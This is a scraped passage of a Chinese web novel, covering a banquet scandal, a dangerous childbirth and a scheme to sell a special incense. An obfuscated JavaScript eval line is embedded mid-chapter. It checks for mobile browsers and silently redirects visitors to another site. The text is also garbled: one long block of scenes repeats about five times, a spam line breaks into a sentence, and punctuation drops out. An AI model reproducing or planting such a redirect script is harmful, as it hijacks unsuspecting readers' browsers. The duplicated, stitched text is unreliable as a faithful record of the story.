一进院,宝华郡主便迫不及待地开口:“我已按照你说的做了,香呢?” 从中作梗,使臣团离京之后,五叔就该被任命为市舶使才是。 如今五叔的任命虽然下来了,但处处都要受大哥监督,根本没办法展开手脚做事。 沈清迟知道这件事后,只觉得坐立难安。 她是未婚失身给李继贤的,本就被太傅府的人看不起,如今大哥又处处刁难五叔,便是她生下儿子,日后在太傅府的日子只怕也不好过。 因此今日她帮着宝华郡主说话,不仅是为了自己出一口恶气,更是为了讨五婶的欢心,并让太傅府的人都知道,她和大哥大嫂不是一起的,她的人和心都是向着太傅府的。 思及此,沈清迟迎上春喜的目光,大声道:“大嫂莫要强词夺理,你去无忧阁寻欢作乐,辜负了我大哥的一片真心,我不为大哥说话难道还要劝我大哥忍下此等**吗?” 春喜冷笑出声:“妹妹既然如此关心你大哥,不妨现在就去问问你大哥,那日他让我去参加无忧阁的花魁选拔究竟是为了做什么。” 众人:“……”??? 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是她们刚刚耳朵出问题了吗? 曹春喜刚刚是理直气壮地说出沈清渊让她去无忧阁寻乐子这句话的吗? 这世上怎么会有男人愿意让自己的妻子出去寻乐子? 众人瞠目结舌,恒阳公主作为当事人,也被春喜的话惊到。 乖乖,难怪阿喜不让她说话,她就是想破脑袋也编不出这样的瞎话啊。 沈清迟并不像其他人这样觉得不可置信。 她在春喜手里吃过太多次亏了,春喜敢当众说出这样的话,不管怎么样,沈清渊都肯定会证实这件事是真的。 她原本以为今天曹春喜会被扣上**的骂名再也翻不了身,没想到她还没说几句话,就被春喜破了局。 是大哥让曹春喜去的无忧阁,那迫不及待对曹春喜落井下石的她岂不是又成了笑话,而且事后大家也会琢磨曹春喜刚刚说的话,万一把五叔五婶牵连进来怎么办? 沈清迟有点儿慌,肚子也跟着发紧,她正要装肚子疼离开这里,春喜抢先一步哎哟哎哟地叫起来。 恒阳公主第一时间护住春喜:“阿喜,你怎么了?” “公主,我的肚子好疼,可能是我肚子里的孩子听到姑母如此污蔑自己的娘生气了。” 公主立刻派人去请御医,又让人通知了沈清渊。 没一会儿,沈清渊沉着脸,带着一身冷煞来到女眷席。 御医细细地为春喜诊了脉,虽然感觉胎象很稳并无大碍,但在恒阳公主和沈清渊的注视之下,还是开了一副安胎药。 恒阳公主把前因后果大概说了一遍,沈清渊听完,冷声解释。 “内子前几日确实去参加了无忧阁的花魁选拔,但是本官让她去的,本官正在查一件事,无忧阁正好有线索,但本官不便前往,怕打草惊蛇,所以才让内子铤而走险,此事御史台的诸位同僚也都知道,大家若是不信,也可找御史台的大人求证。” 沈清渊已有妻奴的名声在外,他的话的确不够可信,但加上御史台诸位大人,众人就不得不信了。 毕竟御史台那群老匹夫可是连陛下的面子都不会给的,不可能帮着沈清渊撒谎。 众人都相信这是一场乌龙,宝华郡主也承认只是远远看到春喜一眼,并未看到春喜与无忧阁的小倌做什么不轨之事。 一场闹剧到此结束,大夫人赵氏出来打了圆场,宴席照常进行。 宴席结束后,宝华郡主第一时间离开,她没有回郡主府,而是去到城西一座不起眼的小宅院。 一进院,宝华郡主便迫不及待地开口:“我已按照你说的做了,香呢?” 第289章 沈清迟要生了 太傅府的宴席结束后春喜和沈清渊并未离开。 沈清迟提前发动要生了事发突然太傅府没有来得及准备只有恒阳公主叫来的御医和一直守在春喜身边的李嬷嬷章嬷嬷一起帮她接生。 隔着一扇房门沈清迟的痛呼声不断传来听得人直揪心。 沈清渊是知道妇人生产多凶险的但亲自听到还是心头发沉。 怕春喜落下阴影沈清渊抓住她的手低声道:“别怕 春喜心底发软正要回应大夫人赵氏怒声质问:“你们是怎么伺候少夫人的明知道少夫人身子沉怎么不好好看顾着竟然让她受了惊?” 沈清迟只在开席前跟春喜辩驳了几句赵氏明着是在训斥下人实则是怪春喜害得沈清迟受惊提前发动。 万一沈清迟和腹中孩子有个好歹这笔账就得算到春喜头上。 春喜很容易就听出了赵氏的意思她抚着肚子开口:“开席之前我与妹妹说了几句话当时妹妹中气十足还扬言要把我拖去游街浸猪笼我腹中孩子吓得直踢我我被踢得肚子疼便顾不上其他也不知妹妹是如何受的惊吓。” 春喜顿了顿而后拽着沈清渊的袖子娇嗔:“夫君虽然妹妹不敬我这个长嫂但她腹中孩子毕竟是无辜的夫君可一定要查明真相为妹妹做主啊。” 春喜并不打算背锅赵氏沉了脸还想说些什么春喜抢先道:“妹妹都疼了大半个时辰了妹夫还没来他不会又去外面与人厮混了吧?” 自己的发妻在拼死生孩子做丈夫的却在外与人厮混这要是传出去委实不像话。 赵氏眼皮一跳没再跟春喜扯皮吩咐下人赶紧去找李继贤。 然而又过了半个时辰李继贤却还是没有出现。 屋里沈清迟的喊声弱下去了些御医开了方子帮她提神保存体力血水一盆盆地往外送过了会儿李嬷嬷出来对春喜说:“四少夫人一直念叨着想见五夫人我观四少夫人的情况不太好也许请五夫人来了能让她冷静些。” 赵氏这个婆母就在外面守着沈清迟这个时候却只要云晚棠陪着这不是打她这个婆母的脸吗? “五弟妹又不懂医术叫她来有什么用有我在这儿守着就好了”赵氏不满地拒绝随后拉着李嬷嬷问“现在知道是男是女了吗?” 春喜和沈清渊都在接生的还不是太傅府的人赵氏不好直接说保大但私心里盼着沈清迟能难产死掉给 你的朋友正在书荒,快去帮帮他吧 她留下个健健康康的孙儿。 不等李嬷嬷回答,春喜起身道:“我进去看看妹妹。” 赵氏下意识地想拒绝,但想到沈清迟现在的情况很危急,万一沈清迟有什么好歹,春喜进过产房那就更说不清了。 这般想着,赵氏到嘴边的话咽了回去。 屋里血腥味浓郁,门窗皆关着,光线有些暗,沈清迟面色惨白地躺在床上,身下的被子已被血染透,场面瞧着血腥又可怖。 “五婶,我要见五婶……” 沈清迟疼的神智都有些不清醒了,嘴里还一直念叨着要见云晚棠,感觉到床边来了人,沈清迟立刻哭求:“五婶,我今日若是出了什么意外,求五婶多怜惜这孩子一些,他毕竟是夫君第一个嫡出的孩子,若是夫君再娶,莫要让继娘苛待他……” 沈清迟说着呜咽出声。 之前看着大哥被区别对待,她并没有多大的感觉,如今想到自己可能会撒手人寰,她的孩子以后都要看继娘的脸色生活,才突然心如刀割。 她的孩子还什么都不懂,说不定日后太傅府都不会让他知道有她这个亲娘存在,直接把继娘认作亲娘,她的孩子只会比大哥更可怜。 这就是曹春喜说的报应吗? 她娘苛待大哥,如今尸骨未寒,爹就要迎娶新欢,她的孩子也要寄人篱下…… 沈清迟哭得停不下来,身子也跟着失了力,章嬷嬷着急道:“夫人,你可不能泄气啊,这羊水已经破了,得尽快把孩子生出来才行,拖久了大人孩子都很危险的。” 沈清迟完全陷在绝望之中,章嬷嬷的话她一句都没有听进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148007|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,春喜在这时开口:“妹妹放心,你若有什么三长两短,我会把这孩子抱到自己名下养着,绝不让他在太傅府被人欺负。” 沈清迟对春喜的声音很敏感,她擦了擦泪,确定站在床边的不是云晚棠,而是春喜,死气沉沉的脸一下子染上怒意和恐慌:“你进来做什么,快出去!” 她屡次害春喜,今天还帮着宝华郡主想要往春喜头上扣**的罪名,春喜这时出现,在沈清迟眼里简直像是索命的厉鬼。 沈清迟虽然觉得自己可能活不成了,但也不想死在春喜手上。 更可怕的是,春喜还说要把她的孩子抱回去自己养。 春喜再过几个月也要生了,怎么可能善待她的孩子? 她绝不能让自己的孩子落入曹春喜手中! 沈清迟于绝望之中生出斗志,察觉到她有了力气,章嬷嬷赶紧教她呼吸用力。 这一次,沈清迟听进去了,并且乖乖按照章嬷嬷说的去做。 不知过了多久,婴孩儿的啼哭声响彻屋子。 终于生了…… 沈清迟放松下来,她想看看孩子,眼皮却怎么都睁不开,昏昏沉沉之际,她又听到曹春喜带着魔力的声音:“妹妹安心睡吧,这孩子很可爱,我会代妹妹好好把她养大的。” 不行!这是她十月怀胎好不容易才生下来的孩子,不能白白送给曹春喜! 沈清迟出血太多,昏**过去,昏过去之前,御医给她灌了一碗汤药,擦着汗道:“我已经尽力了,能不能醒过来就看四少夫人的造化了。” 春喜颔首,抱着孩子坐在床边没动。 屋外,赵氏急急追问:“我听到孩子哭了,是男孩儿还是女孩儿啊,怎么还不抱出来?” 李继贤也终于到来,他不关心沈清迟的死活,连孩子也不关心,没好气地说:“这不是生了吗,又不是**了,催我回来做什么?” 随着话音落下,响亮的巴掌声响起。 春喜挑眉,她家大人这一巴掌应该比她之前的巴掌狠多了。 第290章 成事不足败事有余的东西 沈清迟生了大半日才把孩子生下来。 这会儿天已经有些黑了,李继贤又喝了不少酒,根本没有注意到沈清渊,直到被沈清渊一巴掌扇在地上,才发现这位不近人情的大舅哥也在。 “贤儿!” 赵氏惊呼一声,连忙把李继贤扶起来。 她虽心疼儿子,但也知道沈清渊不好惹,压着怒意没敢跟沈清渊大声嚷嚷。 屋里,沈清迟昏睡到半夜才醒。 意识还没完全清醒,她就着急开口:“我的孩子呢?曹春喜是不是把我的孩子抢走了?” “孩子在这儿呢,没人跟你抢孩子,放心吧。” 沈金花把孩子抱给沈清迟。 孩子已经清洗过,小小一只裹在红色碎花锦被里,因为早产,小脸有些皱巴巴的,谈不上好看,却让沈清迟一颗心化成了水。 她抱紧孩子,眼泪直掉:“好孩子,别怕,娘以后一定会好好保护你的。” 沈金花连忙劝她:“这才刚生完,你可别哭啊,以后会落下病根的。” 沈清迟点点头,等平复了情绪才小心翼翼地打开包被。 是个女儿。 这个事实把沈清迟劫后余生的喜悦冲淡了些,春喜的声音在这时响起:“怎么,不喜欢,那不如送给我养。” 她怎么还没走? 沈清迟蹙眉,正要说话,沈金花已出门报喜:“亲家母,恭喜啊,迟儿生了个小千金,母女平安!” “生了个女儿,她自己不争气也就算了,怎么这肚子也不争气?” 赵氏立刻嘀咕出声,话里全是不满。 沈清迟心头一紧,又听到春喜说:“你婆母好像也不喜欢这个孩子,想好了吗,要不要让我把孩子带走?” 沈清迟立刻抱紧孩子:“这孩子是我拼了命才生下来的,谁都别想把她从我身边抢走!” 春喜也没坚持,只是盯着她怀里的孩子看了一会儿说:“希望你能一直这样护着她。” 说完这句话,春喜起身,和沈清渊一起离开。 御医和李嬷嬷、章嬷嬷也都跟着离去,赵氏和李继贤听说生的是女儿,根本没有进来看她们母女的意思,屋里只剩下沈金花。 沈清迟委屈得又要落下泪来,沈金花连忙劝:“你就别哭了,要不是你大哥和阿喜在,你今天说不定一尸两命,哪有机会在这儿哭?” 沈清迟咬着唇反驳:“曹春喜是想留下来看我的笑话,根本不是想帮我。” 听出沈清迟话里还带着怨恨, 沈金花翻了个白眼:“你脑子是不是有什么毛病,阿喜自己还怀着孕呢,白日里情况那么危急,她为什么要来晦气?而且照你这么说,你要是**阿喜不是更高兴吗,她何必拉着你大哥守在这里熬到半夜?” 沈金花是贪财没错,但她分得清好赖。 沈清迟还想反驳,沈金花抢先道:“白日你都在鬼门关了,李继贤那个王八蛋还在外面花天酒地,你那婆母仗着有御医和阿喜带的婆子在,也没再让人请大夫和接生婆,你心心念念的五婶更是连面都没露,而且你生完就昏死过去,是阿喜一直让御医给你用最好的药材吊着一口气,不然你以为你还有机会醒过来吗?” “……” 沈清迟抿唇没了声音。 今日突然发动,她就慌了神,后来更是疼得什么都顾不上,并不知道情况有多危急,只记得在她最绝望无助的时候,曹春喜是要抢走她的孩子。 曹春喜当真有这么好心来救她? 虽然入春,夜里还是很凉。 云晚棠一直没睡,听说沈清迟生了个女儿,且母女平安,眉心微皱。 等报信的下人离开,李怀景温声开口:“她生了个女儿,大嫂心里肯定会生出不满,你想好怎么安抚大嫂了吗?” 云晚棠脸上闪过不耐烦:“我已答应大嫂会帮贤儿牵线再寻一门更好的亲事,这次运粮可以让他和泽儿一起去,到时多给大嫂分一些钱就是了。” 人活一世,皆是为了名利,世家名门也不过如此。 李怀景点点头,说:“瑛王已经让人在售卖销魂香了,一旦销路打开,我们在翁州种的香料就是取之不尽的金山,给大嫂分一点儿也不算什么,只是沈清渊已经起疑,还让他夫人去了无忧阁查探消息,我心里还是有些不安。” 提到沈清渊,云晚棠肃了脸色,她冷冷开口:“我花了一万两把沈清迟赎回来,如今她只生下一个女儿,总要再做些事才能报答我的救命之恩。” 与此同时,瑛王府。 瑛王把茶杯狠狠砸在岚舒头上。 “蠢货!谁让你擅作主张让宝华郡主当众指认曹春喜的?现在曹春喜屁事没有,沈清渊反而有可能会嗅着味儿查到无忧阁,你坏了本王的大计!” 瑛王怒不可遏,见岚舒的脑袋被砸破还不够,又照着岚舒胸口狠狠踹了一脚。 岚舒疼得皱眉,爬起来小声辩解:“小人也是想为王爷分忧,只是没想到曹春喜这么驭夫有道,竟然能让沈清渊配合她圆谎。” “圆谎?你当沈清渊真的是色迷心窍的傻子?这销魂香还没有大量售卖,他就盯上无忧阁了,你到底在背后做了什么?” 瑛王说完又砸了一套茶具,岚舒眨眨眼,一脸无辜:“王爷不是让小人趁机接近沈夫人吗,小人之前去见沈夫人时就熏了一点儿销魂香,想着沈夫人若是喜欢,小人可以送她一些,如此也算是沈大人收了无忧阁的好处,日后就算沈大人觉得这香卖得太贵,也不好追查,谁知沈夫人喜欢是喜欢,但说什么都不要,反而是小人太过殷勤惹得沈大人生了疑。” “成事不足败事有余的东西!” 瑛王恶狠狠地瞪着岚舒,岚舒并不害怕,温声道:“这销魂香虽然卖得贵了点,但对人体没什么害处,沈大人应该也查不出什么来,而且之前王爷给小人那些香已经用完了,好些贵客都给了定金想买呢,王爷这里还有吗?” 岚舒说着从袖中掏出几根金条来。 看到金条,瑛王的脸色缓和了些。 这销魂香的确金贵,但他这里,要多少有多少。 只是得先把碍事的苍蝇解决,才能安心赚大钱! 沈金花翻了个白眼:“你脑子是不是有什么毛病,阿喜自己还怀着孕呢,白日里情况那么危急,她为什么要来晦气?而且照你这么说,你要是**阿喜不是更高兴吗,她何必拉着你大哥守在这里熬到半夜?” 沈金花是贪财没错,但她分得清好赖。 沈清迟还想反驳,沈金花抢先道:“白日你都在鬼门关了,李继贤那个王八蛋还在外面花天酒地,你那婆母仗着有御医和阿喜带的婆子在,也没再让人请大夫和接生婆,你心心念念的五婶更是连面都没露,而且你生完就昏死过去,是阿喜一直让御医给你用最好的药材吊着一口气,不然你以为你还有机会醒过来吗?” “……” 沈清迟抿唇没了声音。 今日突然发动,她就慌了神,后来更是疼得什么都顾不上,并不知道情况有多危急,只记得在她最绝望无助的时候,曹春喜是要抢走她的孩子。 曹春喜当真有这么好心来救她? 虽然入春,夜里还是很凉。 云晚棠一直没睡,听说沈清迟生了个女儿,且母女平安,眉心微皱。 等报信的下人离开,李怀景温声开口:“她生了个女儿,大嫂心里肯定会生出不满,你想好怎么安抚大嫂了吗?” 云晚棠脸上闪过不耐烦:“我已答应大嫂会帮贤儿牵线再寻一门更好的亲事,这次运粮可以让他和泽儿一起去,到时多给大嫂分一些钱就是了。” 人活一世,皆是为了名利,世家名门也不过如此。 李怀景点点头,说:“瑛王已经让人在售卖销魂香了,一旦销路打开,我们在翁州种的香料就是取之不尽的金山,给大嫂分一点儿也不算什么,只是沈清渊已经起疑,还让他夫人去了无忧阁查探消息,我心里还是有些不安。” 提到沈清渊,云晚棠肃了脸色,她冷冷开口:“我花了一万两把沈清迟赎回来,如今她只生下一个女儿,总要再做些事才能报答我的救命之恩。” 与此同时,瑛王府。 瑛王把茶杯狠狠砸在岚舒头上。 “蠢货!谁让你擅作主张让宝华郡主当众指认曹春喜的?现在曹春喜屁事没有,沈清渊反而有可能会嗅着味儿查到无忧阁,你坏了本王的大计!” 瑛王怒不可遏,见岚舒的脑袋被砸破还不够,又照着岚舒胸口狠狠踹了一脚。 岚舒疼得皱眉,爬起来小声辩解:“小人也是想为王爷分忧,只是没想到曹春喜这么驭夫有道,竟然能让沈清渊配合她圆谎。” “圆谎?你当沈清渊真的是色迷心窍的傻子?这销魂香还没有大量售卖,他就盯上无忧阁了,你到底在背后做了什么?” 瑛王说完又砸了一套茶具,岚舒眨眨眼,一脸无辜:“王爷不是让小人趁机接近沈夫人吗,小人之前去见沈夫人时就熏了一点儿销魂香,想着沈夫人若是喜欢,小人可以送她一些,如此也算是沈大人收了无忧阁的好处,日后就算沈大人觉得这香卖得太贵,也不好追查,谁知沈夫人喜欢是喜欢,但说什么都不要,反而是小人太过殷勤惹得沈大人生了疑。” “成事不足败事有余的东西!” 瑛王恶狠狠地瞪着岚舒,岚舒并不害怕,温声道:“这销魂香虽然卖得贵了点,但对人体没什么害处,沈大人应该也查不出什么来,而且之前王爷给小人那些香已经用完了,好些贵客都给了定金想买呢,王爷这里还有吗?” 岚舒说着从袖中掏出几根金条来。 看到金条,瑛王的脸色缓和了些。 这销魂香的确金贵,但他这里,要多少有多少。 只是得先把碍事的苍蝇解决,才能安心赚大钱! 沈金花翻了个白眼:“你脑子是不是有什么毛病,阿喜自己还怀着孕呢,白日里情况那么危急,她为什么要来晦气?而且照你这么说,你要是**阿喜不是更高兴吗,她何必拉着你大哥守在这里熬到半夜?” 沈金花是贪财没错,但她分得清好赖。 沈清迟还想反驳,沈金花抢先道:“白日你都在鬼门关了,李继贤那个王八蛋还在外面花天酒地,你那婆母仗着有御医和阿喜带的婆子在,也没再让人请大夫和接生婆,你心心念念的五婶更是连面都没露,而且你生完就昏死过去,是阿喜一直让御医给你用最好的药材吊着一口气,不然你以为你还有机会醒过来吗?” “……” 沈清迟抿唇没了声音。 今日突然发动,她就慌了神,后来更是疼得什么都顾不上,并不知道情况有多危急,只记得在她最绝望无助的时候,曹春喜是要抢走她的孩子。 曹春喜当真有这么好心来救她? 虽然入春,夜里还是很凉。 云晚棠一直没睡,听说沈清迟生了个女儿,且母女平安,眉心微皱。 等报信的下人离开,李怀景温声开口:“她生了个女儿,大嫂心里肯定会生出不满,你想好怎么安抚大嫂了吗?” 云晚棠脸上闪过不耐烦:“我已答应大嫂会帮贤儿牵线再寻一门更好的亲事,这次运粮可以让他和泽儿一起去,到时多给大嫂分一些钱就是了。” 人活一世,皆是为了名利,世家名门也不过如此。 李怀景点点头,说:“瑛王已经让人在售卖销魂香了,一旦销路打开,我们在翁州种的香料就是取之不尽的金山,给大嫂分一点儿也不算什么,只是沈清渊已经起疑,还让他夫人去了无忧阁查探消息,我心里还是有些不安。” 提到沈清渊,云晚棠肃了脸色,她冷冷开口:“我花了一万两把沈清迟赎回来,如今她只生下一个女儿,总要再做些事才能报答我的救命之恩。” 与此同时,瑛王府。 瑛王把茶杯狠狠砸在岚舒头上。 “蠢货!谁让你擅作主张让宝华郡主当众指认曹春喜的?现在曹春喜屁事没有,沈清渊反而有可能会嗅着味儿查到无忧阁,你坏了本王的大计!” 瑛王怒不可遏,见岚舒的脑袋被砸破还不够,又照着岚舒胸口狠狠踹了一脚。 岚舒疼得皱眉,爬起来小声辩解:“小人也是想为王爷分忧,只是没想到曹春喜这么驭夫有道,竟然能让沈清渊配合她圆谎。” “圆谎?你当沈清渊真的是色迷心窍的傻子?这销魂香还没有大量售卖,他就盯上无忧阁了,你到底在背后做了什么?” 瑛王说完又砸了一套茶具,岚舒眨眨眼,一脸无辜:“王爷不是让小人趁机接近沈夫人吗,小人之前去见沈夫人时就熏了一点儿销魂香,想着沈夫人若是喜欢,小人可以送她一些,如此也算是沈大人收了无忧阁的好处,日后就算沈大人觉得这香卖得太贵,也不好追查,谁知沈夫人喜欢是喜欢,但说什么都不要,反而是小人太过殷勤惹得沈大人生了疑。” “成事不足败事有余的东西!” 瑛王恶狠狠地瞪着岚舒,岚舒并不害怕,温声道:“这销魂香虽然卖得贵了点,但对人体没什么害处,沈大人应该也查不出什么来,而且之前王爷给小人那些香已经用完了,好些贵客都给了定金想买呢,王爷这里还有吗?” 岚舒说着从袖中掏出几根金条来。 看到金条,瑛王的脸色缓和了些。 这销魂香的确金贵,但他这里,要多少有多少。 只是得先把碍事的苍蝇解决,才能安心赚大钱! 沈金花翻了个白眼:“你脑子是不是有什么毛病,阿喜自己还怀着孕呢,白日里情况那么危急,她为什么要来晦气?而且照你这么说,你要是**阿喜不是更高兴吗,她何必拉着你大哥守在这里熬到半夜?” 沈金花是贪财没错,但她分得清好赖。 沈清迟还想反驳,沈金花抢先道:“白日你都在鬼门关了,李继贤那个王八蛋还在外面花天酒地,你那婆母仗着有御医和阿喜带的婆子在,也没再让人请大夫和接生婆,你心心念念的五婶更是连面都没露,而且你生完就昏死过去,是阿喜一直让御医给你用最好的药材吊着一口气,不然你以为你还有机会醒过来吗?” “……” 沈清迟抿唇没了声音。 今日突然发动,她就慌了神,后来更是疼得什么都顾不上,并不知道情况有多危急,只记得在她最绝望无助的时候,曹春喜是要抢走她的孩子。 曹春喜当真有这么好心来救她? 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虽然入春,夜里还是很凉。 云晚棠一直没睡,听说沈清迟生了个女儿,且母女平安,眉心微皱。 等报信的下人离开,李怀景温声开口:“她生了个女儿,大嫂心里肯定会生出不满,你想好怎么安抚大嫂了吗?” 云晚棠脸上闪过不耐烦:“我已答应大嫂会帮贤儿牵线再寻一门更好的亲事,这次运粮可以让他和泽儿一起去,到时多给大嫂分一些钱就是了。” 人活一世,皆是为了名利,世家名门也不过如此。 李怀景点点头,说:“瑛王已经让人在售卖销魂香了,一旦销路打开,我们在翁州种的香料就是取之不尽的金山,给大嫂分一点儿也不算什么,只是沈清渊已经起疑,还让他夫人去了无忧阁查探消息,我心里还是有些不安。” 提到沈清渊,云晚棠肃了脸色,她冷冷开口:“我花了一万两把沈清迟赎回来,如今她只生下一个女儿,总要再做些事才能报答我的救命之恩。” 与此同时,瑛王府。 瑛王把茶杯狠狠砸在岚舒头上。 “蠢货!谁让你擅作主张让宝华郡主当众指认曹春喜的?现在曹春喜屁事没有,沈清渊反而有可能会嗅着味儿查到无忧阁,你坏了本王的大计!” 瑛王怒不可遏,见岚舒的脑袋被砸破还不够,又照着岚舒胸口狠狠踹了一脚。 岚舒疼得皱眉,爬起来小声辩解:“小人也是想为王爷分忧,只是没想到曹春喜这么驭夫有道,竟然能让沈清渊配合她圆谎。” “圆谎?你当沈清渊真的是色迷心窍的傻子?这销魂香还没有大量售卖,他就盯上无忧阁了,你到底在背后做了什么?” 瑛王说完又砸了一套茶具,岚舒眨眨眼,一脸无辜:“王爷不是让小人趁机接近沈夫人吗,小人之前去见沈夫人时就熏了一点儿销魂香,想着沈夫人若是喜欢,小人可以送她一些,如此也算是沈大人收了无忧阁的好处,日后就算沈大人觉得这香卖得太贵,也不好追查,谁知沈夫人喜欢是喜欢,但说什么都不要,反而是小人太过殷勤惹得沈大人生了疑。” “成事不足败事有余的东西!” 瑛王恶狠狠地瞪着岚舒,岚舒并不害怕,温声道:“这销魂香虽然卖得贵了点,但对人体没什么害处,沈大人应该也查不出什么来,而且之前王爷给小人那些香已经用完了,好些贵客都给了定金想买呢,王爷这里还有吗?” 岚舒说着从袖中掏出几根金条来。 看到金条,瑛王的脸色缓和了些。 这销魂香的确金贵,但他这里,要多少有多少。 只是得先把碍事的苍蝇解决,才能安心赚大钱! 沈金花翻了个白眼:“你脑子是不是有什么毛病,阿喜自己还怀着孕呢,白日里情况那么危急,她为什么要来晦气?而且照你这么说,你要是**阿喜不是更高兴吗,她何必拉着你大哥守在这里熬到半夜?” 沈金花是贪财没错,但她分得清好赖。 沈清迟还想反驳,沈金花抢先道:“白日你都在鬼门关了,李继贤那个王八蛋还在外面花天酒地,你那婆母仗着有御医和阿喜带的婆子在,也没再让人请大夫和接生婆,你心心念念的五婶更是连面都没露,而且你生完就昏死过去,是阿喜一直让御医给你用最好的药材吊着一口气,不然你以为你还有机会醒过来吗?” “……” 沈清迟抿唇没了声音。 今日突然发动,她就慌了神,后来更是疼得什么都顾不上,并不知道情况有多危急,只记得在她最绝望无助的时候,曹春喜是要抢走她的孩子。 曹春喜当真有这么好心来救她? 虽然入春,夜里还是很凉。 云晚棠一直没睡,听说沈清迟生了个女儿,且母女平安,眉心微皱。 等报信的下人离开,李怀景温声开口:“她生了个女儿,大嫂心里肯定会生出不满,你想好怎么安抚大嫂了吗?” 云晚棠脸上闪过不耐烦:“我已答应大嫂会帮贤儿牵线再寻一门更好的亲事,这次运粮可以让他和泽儿一起去,到时多给大嫂分一些钱就是了。” 人活一世,皆是为了名利,世家名门也不过如此。 李怀景点点头,说:“瑛王已经让人在售卖销魂香了,一旦销路打开,我们在翁州种的香料就是取之不尽的金山,给大嫂分一点儿也不算什么,只是沈清渊已经起疑,还让他夫人去了无忧阁查探消息,我心里还是有些不安。” 提到沈清渊,云晚棠肃了脸色,她冷冷开口:“我花了一万两把沈清迟赎回来,如今她只生下一个女儿,总要再做些事才能报答我的救命之恩。” 与此同时,瑛王府。 瑛王把茶杯狠狠砸在岚舒头上。 “蠢货!谁让你擅作主张让宝华郡主当众指认曹春喜的?现在曹春喜屁事没有,沈清渊反而有可能会嗅着味儿查到无忧阁,你坏了本王的大计!” 瑛王怒不可遏,见岚舒的脑袋被砸破还不够,又照着岚舒胸口狠狠踹了一脚。 岚舒疼得皱眉,爬起来小声辩解:“小人也是想为王爷分忧,只是没想到曹春喜这么驭夫有道,竟然能让沈清渊配合她圆谎。” “圆谎?你当沈清渊真的是色迷心窍的傻子?这销魂香还没有大量售卖,他就盯上无忧阁了,你到底在背后做了什么?” 瑛王说完又砸了一套茶具,岚舒眨眨眼,一脸无辜:“王爷不是让小人趁机接近沈夫人吗,小人之前去见沈夫人时就熏了一点儿销魂香,想着沈夫人若是喜欢,小人可以送她一些,如此也算是沈大人收了无忧阁的好处,日后就算沈大人觉得这香卖得太贵,也不好追查,谁知沈夫人喜欢是喜欢,但说什么都不要,反而是小人太过殷勤惹得沈大人生了疑。” “成事不足败事有余的东西!” 瑛王恶狠狠地瞪着岚舒,岚舒并不害怕,温声道:“这销魂香虽然卖得贵了点,但对人体没什么害处,沈大人应该也查不出什么来,而且之前王爷给小人那些香已经用完了,好些贵客都给了定金想买呢,王爷这里还有吗?” 岚舒说着从袖中掏出几根金条来。 看到金条,瑛王的脸色缓和了些。 这销魂香的确金贵,但他这里,要多少有多少。 只是得先把碍事的苍蝇解决,才能安心赚大钱! 沈金花翻了个白眼:“你脑子是不是有什么毛病,阿喜自己还怀着孕呢,白日里情况那么危急,她为什么要来晦气?而且照你这么说,你要是**阿喜不是更高兴吗,她何必拉着你大哥守在这里熬到半夜?” 沈金花是贪财没错,但她分得清好赖。 沈清迟还想反驳,沈金花抢先道:“白日你都在鬼门关了,李继贤那个王八蛋还在外面花天酒地,你那婆母仗着有御医和阿喜带的婆子在,也没再让人请大夫和接生婆,你心心念念的五婶更是连面都没露,而且你生完就昏死过去,是阿喜一直让御医给你用最好的药材吊着一口气,不然你以为你还有机会醒过来吗?” “……” 沈清迟抿唇没了声音。 今日突然发动,她就慌了神,后来更是疼得什么都顾不上,并不知道情况有多危急,只记得在她最绝望无助的时候,曹春喜是要抢走她的孩子。 曹春喜当真有这么好心来救她? 虽然入春,夜里还是很凉。 云晚棠一直没睡,听说沈清迟生了个女儿,且母女平安,眉心微皱。 等报信的下人离开,李怀景温声开口:“她生了个女儿,大嫂心里肯定会生出不满,你想好怎么安抚大嫂了吗?” 云晚棠脸上闪过不耐烦:“我已答应大嫂会帮贤儿牵线再寻一门更好的亲事,这次运粮可以让他和泽儿一起去,到时多给大嫂分一些钱就是了。” 人活一世,皆是为了名利,世家名门也不过如此。 李怀景点点头,说:“瑛王已经让人在售卖销魂香了,一旦销路打开,我们在翁州种的香料就是取之不尽的金山,给大嫂分一点儿也不算什么,只是沈清渊已经起疑,还让他夫人去了无忧阁查探消息,我心里还是有些不安。” 提到沈清渊,云晚棠肃了脸色,她冷冷开口:“我花了一万两把沈清迟赎回来,如今她只生下一个女儿,总要再做些事才能报答我的救命之恩。” 与此同时,瑛王府。 瑛王把茶杯狠狠砸在岚舒头上。 “蠢货!谁让你擅作主张让宝华郡主当众指认曹春喜的?现在曹春喜屁事没有,沈清渊反而有可能会嗅着味儿查到无忧阁,你坏了本王的大计!” 瑛王怒不可遏,见岚舒的脑袋被砸破还不够,又照着岚舒胸口狠狠踹了一脚。 岚舒疼得皱眉,爬起来小声辩解:“小人也是想为王爷分忧,只是没想到曹春喜这么驭夫有道,竟然能让沈清渊配合她圆谎。” “圆谎?你当沈清渊真的是色迷心窍的傻子?这销魂香还没有大量售卖,他就盯上无忧阁了,你到底在背后做了什么?” 瑛王说完又砸了一套茶具,岚舒眨眨眼,一脸无辜:“王爷不是让小人趁机接近沈夫人吗,小人之前去见沈夫人时就熏了一点儿销魂香,想着沈夫人若是喜欢,小人可以送她一些,如此也算是沈大人收了无忧阁的好处,日后就算沈大人觉得这香卖得太贵,也不好追查,谁知沈夫人喜欢是喜欢,但说什么都不要,反而是小人太过殷勤惹得沈大人生了疑。” “成事不足败事有余的东西!” 瑛王恶狠狠地瞪着岚舒,岚舒并不害怕,温声道:“这销魂香虽然卖得贵了点,但对人体没什么害处,沈大人应该也查不出什么来,而且之前王爷给小人那些香已经用完了,好些贵客都给了定金想买呢,王爷这里还有吗?” 岚舒说着从袖中掏出几根金条来。 看到金条,瑛王的脸色缓和了些。 这销魂香的确金贵,但他这里,要多少有多少。 只是得先把碍事的苍蝇解决,才能安心赚大钱! 第291章 良心突然有点儿疼 第二日一大早春喜去了郡主府拜访。 